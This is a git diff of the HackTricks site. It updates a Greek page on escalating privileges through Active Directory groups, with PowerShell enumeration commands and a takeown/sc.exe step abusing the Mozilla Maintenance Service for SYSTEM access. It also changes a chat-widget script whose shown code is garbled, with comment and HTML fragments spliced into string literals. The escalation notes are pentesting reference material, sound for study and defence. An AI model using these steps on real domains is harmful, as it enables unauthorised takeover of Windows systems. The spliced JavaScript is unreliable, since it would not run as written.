-Identity "Exchange Windows Permissions" -Recurse ``` ## Hyper-V Administrators -Οι Hyper-V Administrators έχουν πλήρη πρόσβαση στο Hyper-V, η οποία μπορεί να εκμεταλλευτεί για να αποκτήσουν έλεγχο πάνω σε εικονικοποιημένους Domain Controllers. Αυτό περιλαμβάνει την κλωνοποίηση ζωντανών DCs και την εξαγωγή NTLM hashes από το αρχείο NTDS.dit. +Οι Hyper-V Administrators έχουν πλήρη πρόσβαση στο Hyper-V, το οποίο μπορεί να εκμεταλλευτεί κανείς για να αποκτήσει έλεγχο επί εικονικοποιημένους Domain Controllers. Αυτό περιλαμβάνει cloning live DCs και εξαγωγή NTLM hashes από το αρχείο NTDS.dit. -### Exploitation Example +### Παράδειγμα Εκμετάλλευσης -Η υπηρεσία συντήρησης Mozilla του Firefox μπορεί να εκμεταλλευτεί από τους Hyper-V Administrators για να εκτελέσουν εντολές ως SYSTEM. Αυτό περιλαμβάνει τη δημιουργία ενός σκληρού συνδέσμου σε ένα προστατευμένο αρχείο SYSTEM και την αντικατάστασή του με ένα κακόβουλο εκτελέσιμο: +Το Firefox's Mozilla Maintenance Service μπορεί να εκμεταλλευτεί από Hyper-V Administrators για να εκτελέσουν εντολές ως SYSTEM. Αυτό περιλαμβάνει τη δημιουργία ενός hard link προς ένα προστατευμένο SYSTEM αρχείο και την αντικατάστασή του με ένα malicious executable: ```bash # Take ownership and start the service takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe sc.exe start MozillaMaintenance ``` -Σημείωση: Η εκμετάλλευση σκληρών συνδέσμων έχει μετριαστεί σε πρόσφατες ενημερώσεις των Windows. +Note: Η εκμετάλλευση hard link έχει μετριαστεί σε πρόσφατες ενημερώσεις των Windows. -## Διαχείριση Οργάνωσης +## Group Policy Creators Owners -Σε περιβάλλοντα όπου έχει αναπτυχθεί το **Microsoft Exchange**, μια ειδική ομάδα γνωστή ως **Organization Management** κατέχει σημαντικές δυνατότητες. Αυτή η ομάδα έχει προνόμια να **έχει πρόσβαση στα γραμματοκιβώτια όλων των χρηστών του τομέα** και διατηρεί **πλήρη έλεγχο πάνω στην Οργανωτική Μονάδα (OU) 'Microsoft Exchange Security Groups'**. Αυτός ο έλεγχος περιλαμβάνει την ομάδα **`Exchange Windows Permissions`**, η οποία μπορεί να εκμεταλλευτεί για κλιμάκωση προνομίων. +Αυτή η ομάδα επιτρέπει στα μέλη να δημιουργούν Group Policies στον domain. Ωστόσο, τα μέλη της δεν μπορούν να εφαρμόσουν group policies σε χρήστες ή group ούτε να επεξεργαστούν υπάρχοντα GPOs. -### Εκμετάλλευση Προνομίων και Εντολές +## Organization Management -#### Εκτυπωτές +Σε περιβάλλοντα όπου έχει αναπτυχθεί **Microsoft Exchange**, μια ειδική ομάδα γνωστή ως **Organization Management** διαθέτει σημαντικές δυνατότητες. Αυτή η ομάδα έχει προνόμια για **πρόσβαση στα mailboxes όλων των domain users** και διατηρεί **πλήρη έλεγχο πάνω στην Organizational Unit (OU) 'Microsoft Exchange Security Groups'**. Ο έλεγχος αυτός περιλαμβάνει την ομάδα **`Exchange Windows Permissions`**, η οποία μπορεί να αξιοποιηθεί για privilege escalation. -Τα μέλη της ομάδας **Print Operators** είναι προικισμένα με αρκετά προνόμια, συμπεριλαμβανομένου του **`SeLoadDriverPrivilege`**, το οποίο τους επιτρέπει να **συνδέονται τοπικά σε έναν Domain Controller**, να τον απενεργοποιούν και να διαχειρίζονται εκτυπωτές. Για να εκμεταλλευτούν αυτά τα προνόμια, ειδικά αν το **`SeLoadDriverPrivilege`** δεν είναι ορατό σε μη ανυψωμένο περιβάλλον, είναι απαραίτητο να παρακαμφθεί ο Έλεγχος Λογαριασμού Χρήστη (UAC). +### Privilege Exploitation and Commands -Για να καταγραφούν τα μέλη αυτής της ομάδας, χρησιμοποιείται η ακόλουθη εντολή PowerShell: +#### Print Operators + +Τα μέλη της ομάδας **Print Operators** έχουν αρκετά προνόμια, συμπεριλαμβανομένου του **`SeLoadDriverPrivilege`**, που τους επιτρέπει να **log on locally to a Domain Controller**, να τον τερματίσουν και να διαχειρίζονται εκτυπωτές. Για να αξιοποιηθούν αυτά τα προνόμια, ειδικά εάν το **`SeLoadDriverPrivilege`** δεν είναι ορατό σε μη ανεβασμένο context, είναι απαραίτητο να παρακαμφθεί το User Account Control (UAC). + +Για να απαριθμηθούν τα μέλη αυτής της ομάδας, χρησιμοποιείται η ακόλουθη PowerShell εντολή: ```bash Get-NetGroupMember -Identity "Print Operators" -Recurse ``` -Για πιο λεπτομερείς τεχνικές εκμετάλλευσης που σχετίζονται με **`SeLoadDriverPrivilege`**, θα πρέπει να συμβουλευτείτε συγκεκριμένους πόρους ασφαλείας. +Για πιο λεπτομερείς τεχνικές εκμετάλλευσης σχετικές με **`SeLoadDriverPrivilege`**, θα πρέπει να συμβουλευτείτε συγκεκριμένους πόρους ασφάλειας. -#### Remote Desktop Users +#### Χρήστες Απομακρυσμένης Επιφάνειας Εργασίας -Τα μέλη αυτής της ομάδας έχουν πρόσβαση σε υπολογιστές μέσω του πρωτοκόλλου Remote Desktop (RDP). Για να καταμετρήσετε αυτά τα μέλη, είναι διαθέσιμες εντολές PowerShell: +Τα μέλη αυτής της ομάδας έχουν πρόσβαση σε υπολογιστές μέσω του Remote Desktop Protocol (RDP). Για να απαριθμήσετε αυτά τα μέλη, υπάρχουν διαθέσιμες εντολές PowerShell: ```bash Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Desktop Users" ``` -Περισσότερες πληροφορίες σχετικά με την εκμετάλλευση του RDP μπορούν να βρεθούν σε ειδικούς πόρους pentesting. +Περαιτέρω πληροφορίες σχετικά με την εκμετάλλευση του RDP μπορούν να βρεθούν σε εξειδικευμένους πόρους pentesting. #### Χρήστες Απομακρυσμένης Διαχείρισης -Τα μέλη μπορούν να έχουν πρόσβαση σε υπολογιστές μέσω **Windows Remote Management (WinRM)**. Η καταμέτρηση αυτών των μελών επιτυγχάνεται μέσω: +Τα μέλη μπορούν να έχουν πρόσβαση σε PCs μέσω **Windows Remote Management (WinRM)**. Η απαρίθμηση αυτών των μελών επιτυγχάνεται μέσω: ```bash Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Users" ``` -Για τεχνικές εκμετάλλευσης που σχετίζονται με **WinRM**, θα πρέπει να συμβουλευτείτε συγκεκριμένη τεκμηρίωση. +Για τεχνικές εκμετάλλευσης που σχετίζονται με **WinRM**, θα πρέπει να συμβουλευτείτε την αντίστοιχη τεκμηρίωση. -#### Διαχειριστές Διακομιστών +#### Χειριστές διακομιστών -Αυτή η ομάδα έχει δικαιώματα να εκτελεί διάφορες ρυθμίσεις στους Domain Controllers, συμπεριλαμβανομένων των δικαιωμάτων δημιουργίας αντιγράφων ασφαλείας και αποκατάστασης, αλλαγής της συστημικής ώρας και τερματισμού του συστήματος. Για να καταμετρήσετε τα μέλη, η εντολή που παρέχεται είναι: +Αυτή η ομάδα έχει δικαιώματα για τη διενέργεια διαφόρων ρυθμίσεων σε ελεγκτές τομέα (Domain Controllers), συμπεριλαμβανομένων δικαιωμάτων backup και restore, αλλαγής της ώρας του συστήματος και τερματισμού του συστήματος. Για να απαριθμήσετε τα μέλη, η εντολή που παρέχεται είναι: ```bash Get-NetGroupMember -Identity "Server Operators" -Recurse ``` @@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse - [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) - [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) - [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 9de4ec902..761454181 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -5,7 +5,10 @@ (() => { const KEY = 'htSummerDiscountsDismissed'; - const IMG = '/images/discount.jpeg'; + const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar + * --------------------------------------------------- + * ❶ Markdown rendering + sanitised (same as before) + * ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg'; const TXT = 'Click here for HT Summer Discounts, Last Days!'; const URL = 'https://training.hacktricks.xyz'; @@ -13,7 +16,20 @@ if (localStorage.getItem(KEY) === 'true') return; // Quick helper - const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); + const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = ` +
+ HackTricks AI Chat + ↔ Drag edge to resize +
+ + +
+
+
+
+ + +
`;tag), { style: css }); // --- Overlay (blur + dim) --- const overlay = $('div', ` @@ -111,7 +127,7 @@ const MAX_CONTEXT = 3000; // highlighted‑text char limit const MAX_QUESTION = 500; // question char limit const MIN_W = 250; // ← resize limits → - const MAX_W = 600; + const MAX_W = 800; const DEF_W = 350; // default width (if nothing saved) const TOOLTIP_TEXT = "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; @@ -345,8 +361,9 @@ #ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} #ht-ai-panel.open{transform:translateX(0)} @media(max-width:768px){#ht-ai-panel{display:none}} -#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} -#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} +#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap} +#ht-ai-header strong{flex-shrink:0} +#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto} #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} @@ -367,8 +384,10 @@ ::selection{background:#ffeb3b;color:#000} ::-moz-selection{background:#ffeb3b;color:#000} /* NEW: resizer handle */ -#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent} -#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`; +#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease} +#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)} +#ht-ai-resizer:active{background:rgba(255,255,255,.25)} +#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`; const s = document.createElement("style"); s.id = "ht-ai-style"; s.textContent = css; @@ -432,24 +451,43 @@ const onMove = (e) => { if (!dragging) return; - const dx = startX - e.clientX; // dragging leftwards ⇒ +dx + e.preventDefault(); + const clientX = e.clientX || (e.touches && e.touches[0].clientX); + const dx = startX - clientX; // dragging leftwards ⇒ +dx let newW = startW + dx; newW = Math.min(Math.max(newW, MIN_W), MAX_W); panel.style.width = newW + "px"; }; + const onUp = () => { if (!dragging) return; dragging = false; + handle.style.background = ""; + document.body.style.userSelect = ""; + document.body.style.cursor = ""; localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10)); document.removeEventListener("mousemove", onMove); document.removeEventListener("mouseup", onUp); + document.removeEventListener("touchmove", onMove); + document.removeEventListener("touchend", onUp); }; - handle.addEventListener("mousedown", (e) => { + + const onStart = (e) => { + e.preventDefault(); dragging = true; - startX = e.clientX; + startX = e.clientX || (e.touches && e.touches[0].clientX); startW = parseInt(window.getComputedStyle(panel).width, 10); + handle.style.background = "rgba(255,255,255,.25)"; + document.body.style.userSelect = "none"; + document.body.style.cursor = "ew-resize"; + document.addEventListener("mousemove", onMove); document.addEventListener("mouseup", onUp); - }); + document.addEventListener("touchmove", onMove, { passive: false }); + document.addEventListener("touchend", onUp); + }; + + handle.addEventListener("mousedown", onStart); + handle.addEventListener("touchstart", onStart, { passive: false }); } })();